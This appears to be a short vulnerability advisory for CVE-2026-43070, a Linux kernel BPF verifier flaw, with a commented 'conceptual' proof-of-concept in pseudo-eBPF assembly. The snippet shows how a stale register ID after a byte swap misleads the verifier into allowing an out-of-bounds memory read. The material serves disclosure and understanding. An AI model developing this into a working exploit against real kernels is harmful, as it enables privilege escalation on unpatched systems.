CVE-2026-43070: Linux内核BPF验证器越界内存访问漏洞

/* * Conceptual PoC for BPF_END verifier flaw * This eBPF assembly snippet demonstrates the incorrect ID tracking. */ // 1. Load a map value pointer into r0 r0 = map_value_lookup(map_fd, index) // 2. Assign r0 to r1. Now r0 and r1 share the same scalar ID. r1 = r0 // 3. Perform BPF_END (byte swap) on r1. // The value in r1 changes, but the verifier fails to reset r1's ID. // The link between r0 and r1 incorrectly persists. r1 = be64 r1 // 4. Conditional jump based on the swapped value r1. // The verifier derives new bounds for r1. if r1 > 0x100 goto safe_label // 5. Unsafe path (Verifier incorrectly thinks r0 is bounded here). // Due to the lingering ID link, the verifier thinks r0 is also small. // Attacker can use r0 to access out-of-bounds memory. r2 = *(u64 *)(r0 + 0x1000) safe_label: exit();